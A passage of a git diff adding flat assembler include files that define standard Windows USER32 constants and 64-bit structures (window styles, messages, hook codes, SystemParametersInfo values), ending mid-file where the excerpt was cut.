+DFCS_BUTTONRADIOMASK = 0002h +DFCS_BUTTONRADIO = 0004h +DFCS_BUTTON3STATE = 0008h +DFCS_BUTTONPUSH = 0010h +DFCS_INACTIVE = 0100h +DFCS_PUSHED = 0200h +DFCS_CHECKED = 0400h +DFCS_TRANSPARENT = 0800h +DFCS_HOT = 1000h +DFCS_ADJUSTRECT = 2000h +DFCS_FLAT = 4000h +DFCS_MONO = 8000h + +; DrawCaption flags + +DC_ACTIVE = 01h +DC_SMALLCAP = 02h +DC_ICON = 04h +DC_TEXT = 08h +DC_INBUTTON = 10h + +; DrawIconEx options + +DI_MASK = 1 +DI_IMAGE = 2 +DI_NORMAL = 3 +DI_COMPAT = 4 +DI_DEFAULTSIZE = 8 + +; DrawText parameters + +DT_TOP = 00000h +DT_LEFT = 00000h +DT_CENTER = 00001h +DT_RIGHT = 00002h +DT_VCENTER = 00004h +DT_BOTTOM = 00008h +DT_WORDBREAK = 00010h +DT_SINGLELINE = 00020h +DT_EXPANDTABS = 00040h +DT_TABSTOP = 00080h +DT_NOCLIP = 00100h +DT_EXTERNALLEADING = 00200h +DT_CALCRECT = 00400h +DT_NOPREFIX = 00800h +DT_INTERNAL = 01000h +DT_EDITCONTROL = 02000h +DT_PATH_ELLIPSIS = 04000h +DT_END_ELLIPSIS = 08000h +DT_MODIFYSTRING = 10000h +DT_RTLREADING = 20000h +DT_WORD_ELLIPSIS = 40000h + +; GetDCEx flags + +DCX_WINDOW = 000001h +DCX_CACHE = 000002h +DCX_NORESETATTRS = 000004h +DCX_CLIPCHILDREN = 000008h +DCX_CLIPSIBLINGS = 000010h +DCX_PARENTCLIP = 000020h +DCX_EXCLUDERGN = 000040h +DCX_INTERSECTRGN = 000080h +DCX_EXCLUDEUPDATE = 000100h +DCX_INTERSECTUPDATE = 000200h +DCX_LOCKWINDOWUPDATE = 000400h +DCX_VALIDATE = 200000h + +; SetWindowsHook codes + +WH_MSGFILTER = -1 +WH_JOURNALRECORD = 0 +WH_JOURNALPLAYBACK = 1 +WH_KEYBOARD = 2 +WH_GETMESSAGE = 3 +WH_CALLWNDPROC = 4 +WH_CBT = 5 +WH_SYSMSGFILTER = 6 +WH_MOUSE = 7 +WH_HARDWARE = 8 +WH_DEBUG = 9 +WH_SHELL = 10 +WH_FOREGROUNDIDLE = 11 +WH_CALLWNDPROCRET = 12 +WH_KEYBOARD_LL = 13 +WH_MOUSE_LL = 14 + +; Hook codes + +HC_ACTION = 0 +HC_GETNEXT = 1 +HC_SKIP = 2 +HC_NOREMOVE = 3 +HC_SYSMODALON = 4 +HC_SYSMODALOFF = 5 + +; CBT hook codes + +HCBT_MOVESIZE = 0 +HCBT_MINMAX = 1 +HCBT_QS = 2 +HCBT_CREATEWND = 3 +HCBT_DESTROYWND = 4 +HCBT_ACTIVATE = 5 +HCBT_CLICKSKIPPED = 6 +HCBT_KEYSKIPPED = 7 +HCBT_SYSCOMMAND = 8 +HCBT_SETFOCUS = 9 + +; ExitWindowsEx flags + +EWX_LOGOFF = 0 +EWX_SHUTDOWN = 1 +EWX_REBOOT = 2 +EWX_FORCE = 4 +EWX_POWEROFF = 8 + +; WinHelp commands + +HELP_CONTEXT = 001h +HELP_QUIT = 002h +HELP_INDEX = 003h +HELP_CONTENTS = 003h +HELP_HELPONHELP = 004h +HELP_SETINDEX = 005h +HELP_SETCONTENTS = 005h +HELP_CONTEXTPOPUP = 008h +HELP_FORCEFILE = 009h +HELP_CONTEXTMENU = 00Ah +HELP_FINDER = 00Bh +HELP_WM_HELP = 00Ch +HELP_SETPOPUP_POS = 00Dh +HELP_KEY = 101h +HELP_COMMAND = 102h +HELP_PARTIALKEY = 105h +HELP_MULTIKEY = 201h +HELP_SETWINPOS = 203h + +; keybd_event flags + +KEYEVENTF_EXTENDEDKEY = 1h +KEYEVENTF_KEYUP = 2h + +; mouse_event flags + +MOUSEEVENTF_MOVE = 0001h +MOUSEEVENTF_LEFTDOWN = 0002h +MOUSEEVENTF_LEFTUP = 0004h +MOUSEEVENTF_RIGHTDOWN = 0008h +MOUSEEVENTF_RIGHTUP = 0010h +MOUSEEVENTF_MIDDLEDOWN = 0020h +MOUSEEVENTF_MIDDLEUP = 0040h +MOUSEEVENTF_WHEEL = 0800h +MOUSEEVENTF_ABSOLUTE = 8000h + +; TrackPopupMenu flags + +TPM_LEFTBUTTON = 0000h +TPM_RIGHTBUTTON = 0002h +TPM_LEFTALIGN = 0000h +TPM_CENTERALIGN = 0004h +TPM_RIGHTALIGN = 0008h +TPM_TOPALIGN = 0000h +TPM_VCENTERALIGN = 0010h +TPM_BOTTOMALIGN = 0020h +TPM_HORIZONTAL = 0000h +TPM_VERTICAL = 0040h +TPM_NONOTIFY = 0080h +TPM_RETURNCMD = 0100h +TPM_RECURSE = 0001h +TPM_HORPOSANIMATION = 0400h +TPM_HORNEGANIMATION = 0800h +TPM_VERPOSANIMATION = 1000h +TPM_VERNEGANIMATION = 2000h +TPM_NOANIMATION = 4000h +TPM_LAYOUTRTL = 8000h + +; Menu item info mask values + +MIIM_STATE = 001h +MIIM_ID = 002h +MIIM_SUBMENU = 004h +MIIM_CHECKMARKS = 008h +MIIM_TYPE = 010h +MIIM_DATA = 020h +MIIM_STRING = 040h +MIIM_BITMAP = 080h +MIIM_FTYPE = 100h + +; DRAWITEMSTRUCT control types + +ODT_MENU = 1 +ODT_LISTBOX = 2 +ODT_COMBOBOX = 3 +ODT_BUTTON = 4 +ODT_STATIC = 5 + +; DRAWITEMSTRUCT actions + +ODA_DRAWENTIRE = 1 +ODA_SELECT = 2 +ODA_FOCUS = 4 + +; DRAWITEMSTRUCT states + +ODS_SELECTED = 0001h +ODS_GRAYED = 0002h +ODS_DISABLED = 0004h +ODS_CHECKED = 0008h +ODS_FOCUS = 0010h +ODS_DEFAULT = 0020h +ODS_COMBOBOXEDIT = 1000h +ODS_HOTLIGHT = 0040h +ODS_INACTIVE = 0080h + +; WINDOWPLACEMENT flags + +WPF_SETMINPOSITION = 1 +WPF_RESTORETOMAXIMIZED = 2 + +; Layered window attributes + +LWA_COLORKEY = 1 +LWA_ALPHA = 2 + +; UpdateLayeredWindow flags + +ULW_COLORKEY = 1 +ULW_ALPHA = 2 +ULW_OPAQUE = 4 + +; SystemParametersInfo parameters + +SPI_GETACCESSTIMEOUT = 60 +SPI_GETANIMATION = 72 +SPI_GETBEEP = 1 +SPI_GETBORDER = 5 +SPI_GETDEFAULTINPUTLANG = 89 +SPI_GETDRAGFULLWINDOWS = 38 +SPI_GETFASTTASKSWITCH = 35 +SPI_GETFILTERKEYS = 50 +SPI_GETFONTSMOOTHING = 74 +SPI_GETGRIDGRANULARITY = 18 +SPI_GETHIGHCONTRAST = 66 +SPI_GETICONMETRICS = 45 +SPI_GETICONTITLELOGFONT = 31 +SPI_GETICONTITLEWRAP = 25 +SPI_GETKEYBOARDDELAY = 22 +SPI_GETKEYBOARDPREF = 68 +SPI_GETKEYBOARDSPEED = 10 +SPI_GETLOWPOWERACTIVE = 83 +SPI_GETLOWPOWERTIMEOUT = 79 +SPI_GETMENUDROPALIGNMENT = 27 +SPI_GETMINIMIZEDMETRICS = 43 +SPI_GETMOUSE = 3 +SPI_GETMOUSEKEYS = 54 +SPI_GETMOUSETRAILS = 94 +SPI_GETNONCLIENTMETRICS = 41 +SPI_GETPOWEROFFACTIVE = 84 +SPI_GETPOWEROFFTIMEOUT = 80 +SPI_GETSCREENREADER = 70 +SPI_GETSCREENSAVEACTIVE = 16 +SPI_GETSCREENSAVETIMEOUT = 14 +SPI_GETSERIALKEYS = 62 +SPI_GETSHOWSOUNDS = 56 +SPI_GETSOUNDSENTRY = 64 +SPI_GETSTICKYKEYS = 58 +SPI_GETTOGGLEKEYS = 52 +SPI_GETWINDOWSEXTENSION = 92 +SPI_GETWORKAREA = 48 +SPI_ICONHORIZONTALSPACING = 13 +SPI_ICONVERTICALSPACING = 24 +SPI_LANGDRIVER = 12 +SPI_SCREENSAVERRUNNING = 97 +SPI_SETACCESSTIMEOUT = 61 +SPI_SETANIMATION = 73 +SPI_SETBEEP = 2 +SPI_SETBORDER = 6 +SPI_SETDEFAULTINPUTLANG = 90 +SPI_SETDESKPATTERN = 21 +SPI_SETDESKWALLPAPER = 20 +SPI_SETDOUBLECLICKTIME = 32 +SPI_SETDOUBLECLKHEIGHT = 30 +SPI_SETDOUBLECLKWIDTH = 29 +SPI_SETDRAGFULLWINDOWS = 37 +SPI_SETDRAGHEIGHT = 77 +SPI_SETDRAGWIDTH = 76 +SPI_SETFASTTASKSWITCH = 36 +SPI_SETFILTERKEYS = 51 +SPI_SETFONTSMOOTHING = 75 +SPI_SETGRIDGRANULARITY = 19 +SPI_SETHANDHELD = 78 +SPI_SETHIGHCONTRAST = 67 +SPI_SETICONMETRICS = 46 +SPI_SETICONTITLELOGFONT = 34 +SPI_SETICONTITLEWRAP = 26 +SPI_SETKEYBOARDDELAY = 23 +SPI_SETKEYBOARDPREF = 69 +SPI_SETKEYBOARDSPEED = 11 +SPI_SETLANGTOGGLE = 91 +SPI_SETLOWPOWERACTIVE = 85 +SPI_SETLOWPOWERTIMEOUT = 81 +SPI_SETMENUDROPALIGNMENT = 28 +SPI_SETMINIMIZEDMETRICS = 44 +SPI_SETMOUSE = 4 +SPI_SETMOUSEBUTTONSWAP = 33 +SPI_SETMOUSEKEYS = 55 +SPI_SETMOUSETRAILS = 93 +SPI_SETNONCLIENTMETRICS = 42 +SPI_SETPENWINDOWS = 49 +SPI_SETPOWEROFFACTIVE = 86 +SPI_SETPOWEROFFTIMEOUT = 82 +SPI_SETSCREENREADER = 71 +SPI_SETSCREENSAVEACTIVE = 17 +SPI_SETSCREENSAVERRUNNING = 97 +SPI_SETSCREENSAVETIMEOUT = 15 +SPI_SETSERIALKEYS = 63 +SPI_SETSHOWSOUNDS = 57 +SPI_SETSOUNDSENTRY = 65 +SPI_SETSTICKYKEYS = 59 +SPI_SETTOGGLEKEYS = 53 +SPI_SETWORKAREA = 47 + +; SystemParametersInfo flags + +SPIF_UPDATEINIFILE = 1 +SPIF_SENDWININICHANGE = 2 + +; Gesture Information Flags + +GF_BEGIN = 1 +GF_INERTIA = 2 +GF_END = 4 + +; Gesture IDs + +GID_BEGIN = 1 +GID_END = 2 +GID_ZOOM = 3 +GID_PAN = 4 +GID_ROTATE = 5 +GID_TWOFINGERTAP = 6 +GID_PRESSANDTAP = 7 +GID_ROLLOVER = GID_PRESSANDTAP + +; Zoom Gesture Confiration Flags + +GC_ZOOM = 0x00000001 + +; Pan Gesture Configuration Flags + +GC_PAN = 0x00000001 +GC_PAN_WITH_SINGLE_FINGER_VERTICALLY = 0x00000002 +GC_PAN_WITH_SINGLE_FINGER_HORIZONTALLY = 0x00000004 +GC_PAN_WITH_GUTTER = 0x00000008 +GC_PAN_WITH_INERTIA = 0x00000010 + +; Rotate Gesture Configuration Flags + +GC_ROTATE = 0x00000001 + +; Two finger tap configuration flags + +GC_TWOFINGERTAP = 0x00000001 + +; Press and tap Configuration Flags + +GC_PRESSANDTAP = 0x00000001 +GC_ROLLOVER = GC_PRESSANDTAP diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/USER64.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/USER64.INC new file mode 100755 index 0000000..7ff7600 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/USER64.INC @@ -0,0 +1,1935 @@ + +; USER32.DLL structures and constants + +struct POINT + x dd ? + y dd ? +ends + +struct POINTS + x dw ? + y dw ? +ends + +struct RECT + left dd ? + top dd ? + right dd ? + bottom dd ? +ends + +struct WNDCLASS + style dd ?,? + lpfnWndProc dq ? + cbClsExtra dd ? + cbWndExtra dd ? + hInstance dq ? + hIcon dq ? + hCursor dq ? + hbrBackground dq ? + lpszMenuName dq ? + lpszClassName dq ? +ends + +struct WNDCLASSEX + cbSize dd ? + style dd ? + lpfnWndProc dq ? + cbClsExtra dd ? + cbWndExtra dd ? + hInstance dq ? + hIcon dq ? + hCursor dq ? + hbrBackground dq ? + lpszMenuName dq ? + lpszClassName dq ? + hIconSm dq ? +ends + +struct CREATESTRUCT + lpCreateParams dq ? + hInstance dq ? + hMenu dq ? + hwndParent dq ? + cy dd ? + cx dd ? + y dd ? + x dd ? + style dd ?,? + lpszName dq ? + lpszClass dq ? + dwExStyle dd ?,? +ends + +struct CLIENTCREATESTRUCT + hWindowMenu dq ? + idFirstChild dd ? +ends + +struct MDICREATESTRUCT + szClass dq ? + szTitle dq ? + hOwner dq ? + x dd ? + y dd ? + cx dd ? + cy dd ? + style dd ? + lParam dd ? +ends + +struct SCROLLINFO + cbSize dd ? + fMask dd ? + nMin dd ? + nMax dd ? + nPage dd ? + nPos dd ? + nTrackPos dd ? +ends + +struct MSG + hwnd dq ? + message dd ?,? + wParam dq ? + lParam dq ? + time dd ? + pt POINT + dd ? +ends + +struct MINMAXINFO + ptReserved POINT + ptMaxSize POINT + ptMaxPosition POINT + ptMinTrackSize POINT + ptMaxTrackSize POINT +ends + +struct WINDOWPLACEMENT + length dd ? + flags dd ? + showCmd dd ? + ptMinPosition POINT + ptMaxPosition POINT + rcNormalPosition RECT +ends + +struct WINDOWPOS + hwnd dq ? + hwndInsertAfter dq ? + x dd ? + y dd ? + cx dd ? + cy dd ? + flags dd ? +ends + +struct NMHDR + hwndFrom dq ? + idFrom dq ? + code dd ?,? +ends + +struct COPYDATASTRUCT + dwData dq ? + cbData dd ? + lpData dq ? +ends + +struct ACCEL + fVirt dw ? + key dw ? + cmd dw ? +ends + +struct PAINTSTRUCT + hdc dq ? + fErase dd ? + rcPaint RECT + fRestore dd ? + fIncUpdate dd ? + rgbReserved db 36 dup (?) +ends + +struct DRAWTEXTPARAMS + cbSize dd ? + iTabLength dd ? + iLeftMargin dd ? + iRightMargin dd ? + uiLengthDrawn dd ?,? +ends + +struct DRAWITEMSTRUCT + CtlType dd ? + CtlID dd ? + itemID dd ? + itemAction dd ? + itemState dd ?,? + hwndItem dq ? + hDC dq ? + rcItem RECT + itemData dd ?,? +ends + +struct MENUITEMINFO + cbSize dd ? + fMask dd ? + fType dd ? + fState dd ? + wID dd ?,? + hSubMenu dq ? + hbmpChecked dq ? + hbmpUnchecked dq ? + dwItemData dq ? + dwTypeData dq ? + cch dd ?,? + hbmpItem dq ? +ends + +struct MEASUREITEMSTRUCT + CtlType dd ? + CtlID dd ? + itemID dd ? + itemWidth dd ? + itemHeight dd ? + itemData dq ? +ends + +struct MSGBOXPARAMS + cbSize dd ?,? + hwndOwner dq ? + hInstance dq ? + lpszText dd ? + lpszCaption dd ? + dwStyle dd ?,? + lpszIcon dq ? + dwContextHelpId dd ?,? + lpfnMsgBoxCallback dq ? + dwLanguageId dd ?,? +ends + +struct GESTURECONFIG + dwID dd ? + dwWant dd ? + dwBlock dd ? +ends + +struct GESTUREINFO + cbSize dd ? + dwFlags dd ? + dwID dd ? + hwndTarget dd ? + ptsLocation POINTS + dwInstanceID dd ? + dwSequenceID dd ?,? + ullArguments dq ? + cbExtraArgs dd ?,? +ends + +; MessageBox type flags + +MB_OK = 000000h +MB_OKCANCEL = 000001h +MB_ABORTRETRYIGNORE = 000002h +MB_YESNOCANCEL = 000003h +MB_YESNO = 000004h +MB_RETRYCANCEL = 000005h +MB_ICONHAND = 000010h +MB_ICONQUESTION = 000020h +MB_ICONEXCLAMATION = 000030h +MB_ICONASTERISK = 000040h +MB_USERICON = 000080h +MB_ICONWARNING = MB_ICONEXCLAMATION +MB_ICONERROR = MB_ICONHAND +MB_ICONINFORMATION = MB_ICONASTERISK +MB_ICONSTOP = MB_ICONHAND +MB_DEFBUTTON1 = 000000h +MB_DEFBUTTON2 = 000100h +MB_DEFBUTTON3 = 000200h +MB_DEFBUTTON4 = 000300h +MB_APPLMODAL = 000000h +MB_SYSTEMMODAL = 001000h +MB_TASKMODAL = 002000h +MB_HELP = 004000h +MB_NOFOCUS = 008000h +MB_SETFOREGROUND = 010000h +MB_DEFAULT_DESKTOP_ONLY = 020000h +MB_TOPMOST = 040000h +MB_RIGHT = 080000h +MB_RTLREADING = 100000h +MB_SERVICE_NOTIFICATION = 200000h + +; Conventional dialog box and message box command IDs + +IDOK = 1 +IDCANCEL = 2 +IDABORT = 3 +IDRETRY = 4 +IDIGNORE = 5 +IDYES = 6 +IDNO = 7 +IDCLOSE = 8 +IDHELP = 9 + +; Class styles + +CS_VREDRAW = 00001h +CS_HREDRAW = 00002h +CS_KEYCVTWINDOW = 00004h +CS_DBLCLKS = 00008h +CS_OWNDC = 00020h +CS_CLASSDC = 00040h +CS_PARENTDC = 00080h +CS_NOKEYCVT = 00100h +CS_SAVEBITS = 00800h +CS_NOCLOSE = 00200h +CS_BYTEALIGNCLIENT = 01000h +CS_BYTEALIGNWINDOW = 02000h +CS_PUBLICCLASS = 04000h +CS_GLOBALCLASS = CS_PUBLICCLASS +CS_IME = 10000h + +; Windows styles + +WS_OVERLAPPED = 000000000h +WS_ICONICPOPUP = 0C0000000h +WS_POPUP = 080000000h +WS_CHILD = 040000000h +WS_MINIMIZE = 020000000h +WS_VISIBLE = 010000000h +WS_DISABLED = 008000000h +WS_CLIPSIBLINGS = 004000000h +WS_CLIPCHILDREN = 002000000h +WS_MAXIMIZE = 001000000h +WS_CAPTION = 000C00000h +WS_BORDER = 000800000h +WS_DLGFRAME = 000400000h +WS_VSCROLL = 000200000h +WS_HSCROLL = 000100000h +WS_SYSMENU = 000080000h +WS_THICKFRAME = 000040000h +WS_HREDRAW = 000020000h +WS_VREDRAW = 000010000h +WS_GROUP = 000020000h +WS_TABSTOP = 000010000h +WS_MINIMIZEBOX = 000020000h +WS_MAXIMIZEBOX = 000010000h + +; Common Window Styles + +WS_OVERLAPPEDWINDOW = WS_OVERLAPPED or WS_CAPTION or WS_SYSMENU or WS_THICKFRAME or WS_MINIMIZEBOX or WS_MAXIMIZEBOX +WS_POPUPWINDOW = WS_POPUP or WS_BORDER or WS_SYSMENU +WS_CHILDWINDOW = WS_CHILD +WS_TILEDWINDOW = WS_OVERLAPPEDWINDOW +WS_TILED = WS_OVERLAPPED +WS_ICONIC = WS_MINIMIZE +WS_SIZEBOX = WS_THICKFRAME + +; Extended Window Styles + +WS_EX_DLGMODALFRAME = 00001h +WS_EX_DRAGOBJECT = 00002h +WS_EX_NOPARENTNOTIFY = 00004h +WS_EX_TOPMOST = 00008h +WS_EX_ACCEPTFILES = 00010h +WS_EX_TRANSPARENT = 00020h +WS_EX_MDICHILD = 00040h +WS_EX_TOOLWINDOW = 00080h +WS_EX_WINDOWEDGE = 00100h +WS_EX_CLIENTEDGE = 00200h +WS_EX_CONTEXTHELP = 00400h +WS_EX_RIGHT = 01000h +WS_EX_LEFT = 00000h +WS_EX_RTLREADING = 02000h +WS_EX_LTRREADING = 00000h +WS_EX_LEFTSCROLLBAR = 04000h +WS_EX_RIGHTSCROLLBAR = 00000h +WS_EX_CONTROLPARENT = 10000h +WS_EX_STATICEDGE = 20000h +WS_EX_APPWINDOW = 40000h +WS_EX_LAYERED = 80000h +WS_EX_OVERLAPPEDWINDOW = WS_EX_WINDOWEDGE or WS_EX_CLIENTEDGE +WS_EX_PALETTEWINDOW = WS_EX_WINDOWEDGE or WS_EX_TOOLWINDOW or WS_EX_TOPMOST + +; MDI client style bits + +MDIS_ALLCHILDSTYLES = 1 + +; Special CreateWindow position value + +CW_USEDEFAULT = 80000000h + +; Predefined window handle + +HWND_DESKTOP = 0 + +; ShowWindow commands + +SW_HIDE = 0 +SW_SHOWNORMAL = 1 +SW_NORMAL = 1 +SW_SHOWMINIMIZED = 2 +SW_SHOWMAXIMIZED = 3 +SW_MAXIMIZE = 3 +SW_SHOWNOACTIVATE = 4 +SW_SHOW = 5 +SW_MINIMIZE = 6 +SW_SHOWMINNOACTIVE = 7 +SW_SHOWNA = 8 +SW_RESTORE = 9 +SW_SHOWDEFAULT = 10 + +; SetWindowPos flags + +SWP_NOSIZE = 0001h +SWP_NOMOVE = 0002h +SWP_NOZORDER = 0004h +SWP_NOREDRAW = 0008h +SWP_NOACTIVATE = 0010h +SWP_DRAWFRAME = 0020h +SWP_SHOWWINDOW = 0040h +SWP_HIDEWINDOW = 0080h +SWP_NOCOPYBITS = 0100h +SWP_NOREPOSITION = 0200h +SWP_DEFERERASE = 2000h +SWP_ASYNCWINDOWPOS = 4000h + +; SetWindowPos special handle values + +HWND_TOP = 0 +HWND_BOTTOM = 1 +HWND_TOPMOST = -1 +HWND_NOTOPMOST = -2 + +; GetWindow flags + +GW_HWNDFIRST = 0 +GW_HWNDLAST = 1 +GW_HWNDNEXT = 2 +GW_HWNDPREV = 3 +GW_OWNER = 4 +GW_CHILD = 5 + +; RedrawWindow flags + +RDW_INVALIDATE = 0001h +RDW_INTERNALPAINT = 0002h +RDW_ERASE = 0004h +RDW_VALIDATE = 0008h +RDW_NOINTERNALPAINT = 0010h +RDW_NOERASE = 0020h +RDW_NOCHILDREN = 0040h +RDW_ALLCHILDREN = 0080h +RDW_UPDATENOW = 0100h +RDW_ERASENOW = 0200h +RDW_FRAME = 0400h +RDW_NOFRAME = 0800h + +; PeekMessage Options + +PM_NOREMOVE = 0000h +PM_REMOVE = 0001h +PM_NOYIELD = 0002h + +; Window state messages + +WM_STATE = 0000h +WM_NULL = 0000h +WM_CREATE = 0001h +WM_DESTROY = 0002h +WM_MOVE = 0003h +WM_SIZE = 0005h +WM_ACTIVATE = 0006h +WM_SETFOCUS = 0007h +WM_KILLFOCUS = 0008h +WM_ENABLE = 000Ah +WM_SETREDRAW = 000Bh +WM_SETTEXT = 000Ch +WM_GETTEXT = 000Dh +WM_GETTEXTLENGTH = 000Eh +WM_PAINT = 000Fh +WM_CLOSE = 0010h +WM_QUERYENDSESSION = 0011h +WM_QUIT = 0012h +WM_QUERYOPEN = 0013h +WM_ERASEBKGND = 0014h +WM_SYSCOLORCHANGE = 0015h +WM_ENDSESSION = 0016h +WM_SYSTEMERROR = 0017h +WM_SHOWWINDOW = 0018h +WM_CTLCOLOR = 0019h +WM_WININICHANGE = 001Ah +WM_DEVMODECHANGE = 001Bh +WM_ACTIVATEAPP = 001Ch +WM_FONTCHANGE = 001Dh +WM_TIMECHANGE = 001Eh +WM_CANCELMODE = 001Fh +WM_SETCURSOR = 0020h +WM_MOUSEACTIVATE = 0021h +WM_CHILDACTIVATE = 0022h +WM_QUEUESYNC = 0023h +WM_GETMINMAXINFO = 0024h +WM_PAINTICON = 0026h +WM_ICONERASEBKGND = 0027h +WM_NEXTDLGCTL = 0028h +WM_SPOOLERSTATUS = 002Ah +WM_DRAWITEM = 002Bh +WM_MEASUREITEM = 002Ch +WM_DELETEITEM = 002Dh +WM_VKEYTOITEM = 002Eh +WM_CHARTOITEM = 002Fh +WM_SETFONT = 0030h +WM_GETFONT = 0031h +WM_SETHOTKEY = 0032h +WM_QUERYDRAGICON = 0037h +WM_COMPAREITEM = 0039h +WM_COMPACTING = 0041h +WM_COMMNOTIFY = 0044h +WM_WINDOWPOSCHANGING = 0046h +WM_WINDOWPOSCHANGED = 0047h +WM_POWER = 0048h +WM_COPYDATA = 004Ah +WM_CANCELJOURNAL = 004Bh +WM_NOTIFY = 004Eh +WM_INPUTLANGCHANGEREQUEST = 0050h +WM_INPUTLANGCHANGE = 0051h +WM_TCARD = 0052h +WM_HELP = 0053h +WM_USERCHANGED = 0054h +WM_NOTIFYFORMAT = 0055h +WM_CONTEXTMENU = 007Bh +WM_STYLECHANGING = 007Ch +WM_STYLECHANGED = 007Dh +WM_DISPLAYCHANGE = 007Eh +WM_GETICON = 007Fh +WM_SETICON = 0080h +WM_NCCREATE = 0081h +WM_NCDESTROY = 0082h +WM_NCCALCSIZE = 0083h +WM_NCHITTEST = 0084h +WM_NCPAINT = 0085h +WM_NCACTIVATE = 0086h +WM_GETDLGCODE = 0087h +WM_NCMOUSEMOVE = 00A0h +WM_NCLBUTTONDOWN = 00A1h +WM_NCLBUTTONUP = 00A2h +WM_NCLBUTTONDBLCLK = 00A3h +WM_NCRBUTTONDOWN = 00A4h +WM_NCRBUTTONUP = 00A5h +WM_NCRBUTTONDBLCLK = 00A6h +WM_NCMBUTTONDOWN = 00A7h +WM_NCMBUTTONUP = 00A8h +WM_NCMBUTTONDBLCLK = 00A9h +WM_KEYFIRST = 0100h +WM_KEYDOWN = 0100h +WM_KEYUP = 0101h +WM_CHAR = 0102h +WM_DEADCHAR = 0103h +WM_SYSKEYDOWN = 0104h +WM_SYSKEYUP = 0105h +WM_SYSCHAR = 0106h +WM_SYSDEADCHAR = 0107h +WM_KEYLAST = 0108h +WM_INITDIALOG = 0110h +WM_COMMAND = 0111h +WM_SYSCOMMAND = 0112h +WM_TIMER = 0113h +WM_HSCROLL = 0114h +WM_VSCROLL = 0115h +WM_INITMENU = 0116h +WM_INITMENUPOPUP = 0117h +WM_GESTURE = 0119h +WM_GESTURENOTIFY = 011Ah +WM_MENUSELECT = 011Fh +WM_MENUCHAR = 0120h +WM_ENTERIDLE = 0121h +WM_MENURBUTTONUP = 0122h +WM_MENUDRAG = 0123h +WM_MENUGETOBJECT = 0124h +WM_UNINITMENUPOPUP = 0125h +WM_MENUCOMMAND = 0126h +WM_CTLCOLORMSGBOX = 0132h +WM_CTLCOLOREDIT = 0133h +WM_CTLCOLORLISTBOX = 0134h +WM_CTLCOLORBTN = 0135h +WM_CTLCOLORDLG = 0136h +WM_CTLCOLORSCROLLBAR = 0137h +WM_CTLCOLORSTATIC = 0138h +WM_MOUSEFIRST = 0200h +WM_MOUSEMOVE = 0200h +WM_LBUTTONDOWN = 0201h +WM_LBUTTONUP = 0202h +WM_LBUTTONDBLCLK = 0203h +WM_RBUTTONDOWN = 0204h +WM_RBUTTONUP = 0205h +WM_RBUTTONDBLCLK = 0206h +WM_MBUTTONDOWN = 0207h +WM_MBUTTONUP = 0208h +WM_MBUTTONDBLCLK = 0209h +WM_MOUSEWHEEL = 020Ah +WM_MOUSELAST = 020Ah +WM_PARENTNOTIFY = 0210h +WM_ENTERMENULOOP = 0211h +WM_EXITMENULOOP = 0212h +WM_NEXTMENU = 0213h +WM_SIZING = 0214h +WM_CAPTURECHANGED = 0215h +WM_MOVING = 0216h +WM_POWERBROADCAST = 0218h +WM_DEVICECHANGE = 0219h +WM_MDICREATE = 0220h +WM_MDIDESTROY = 0221h +WM_MDIACTIVATE = 0222h +WM_MDIRESTORE = 0223h +WM_MDINEXT = 0224h +WM_MDIMAXIMIZE = 0225h +WM_MDITILE = 0226h +WM_MDICASCADE = 0227h +WM_MDIICONARRANGE = 0228h +WM_MDIGETACTIVE = 0229h +WM_MDISETMENU = 0230h +WM_ENTERSIZEMOVE = 0231h +WM_EXITSIZEMOVE = 0232h +WM_DROPFILES = 0233h +WM_MDIREFRESHMENU = 0234h +WM_IME_SETCONTEXT = 0281h +WM_IME_NOTIFY = 0282h +WM_IME_CONTROL = 0283h +WM_IME_COMPOSITIONFULL = 0284h +WM_IME_SELECT = 0285h +WM_IME_CHAR = 0286h +WM_IME_KEYDOWN = 0290h +WM_IME_KEYUP = 0291h +WM_MOUSEHOVER = 02A1h +WM_MOUSELEAVE = 02A3h +WM_CUT = 0300h +WM_COPY = 0301h +WM_PASTE = 0302h +WM_CLEAR = 0303h +WM_UNDO = 0304h +WM_RENDERFORMAT = 0305h +WM_RENDERALLFORMATS = 0306h +WM_DESTROYCLIPBOARD = 0307h +WM_DRAWCLIPBOARD = 0308h +WM_PAINTCLIPBOARD = 0309h +WM_VSCROLLCLIPBOARD = 030Ah +WM_SIZECLIPBOARD = 030Bh +WM_ASKCBFORMATNAME = 030Ch +WM_CHANGECBCHAIN = 030Dh +WM_HSCROLLCLIPBOARD = 030Eh +WM_QUERYNEWPALETTE = 030Fh +WM_PALETTEISCHANGING = 0310h +WM_PALETTECHANGED = 0311h +WM_HOTKEY = 0312h +WM_PRINT = 0317h +WM_PRINTCLIENT = 0318h +WM_HANDHELDFIRST = 0358h +WM_HANDHELDLAST = 035Fh +WM_AFXFIRST = 0360h +WM_AFXLAST = 037Fh +WM_PENWINFIRST = 0380h +WM_PENWINLAST = 038Fh +WM_COALESCE_FIRST = 0390h +WM_COALESCE_LAST = 039Fh +WM_USER = 0400h + +; WM_SIZE commands + +SIZE_RESTORED = 0 +SIZE_MINIMIZED = 1 +SIZE_MAXIMIZED = 2 +SIZE_MAXSHOW = 3 +SIZE_MAXHIDE = 4 + +; WM_ACTIVATE states + +WA_INACTIVE = 0 +WA_ACTIVE = 1 +WA_CLICKACTIVE = 2 + +; WM_SHOWWINDOW identifiers + +SW_PARENTCLOSING = 1 +SW_OTHERZOOM = 2 +SW_PARENTOPENING = 3 +SW_OTHERUNZOOM = 4 + +; WM_MOUSEACTIVATE return codes + +MA_ACTIVATE = 1 +MA_ACTIVATEANDEAT = 2 +MA_NOACTIVATE = 3 +MA_NOACTIVATEANDEAT = 4 + +; WM_MDITILE flags + +MDITILE_VERTICAL = 0 +MDITILE_HORIZONTAL = 1 +MDITILE_SKIPDISABLED = 2 + +; WM_NOTIFY codes + +NM_OUTOFMEMORY = -1 +NM_CLICK = -2 +NM_DBLCLICK = -3 +NM_RETURN = -4 +NM_RCLICK = -5 +NM_RDBLCLK = -6 +NM_SETFOCUS = -7 +NM_KILLFOCUS = -8 + +; WM_SETICON types + +ICON_SMALL = 0 +ICON_BIG = 1 + +; WM_HOTKEY commands + +HOTKEYF_SHIFT = 01h +HOTKEYF_CONTROL = 02h +HOTKEYF_ALT = 04h +HOTKEYF_EXT = 08h + +; Keystroke flags + +KF_EXTENDED = 0100h +KF_DLGMODE = 0800h +KF_MENUMODE = 1000h +KF_ALTDOWN = 2000h +KF_REPEAT = 4000h +KF_UP = 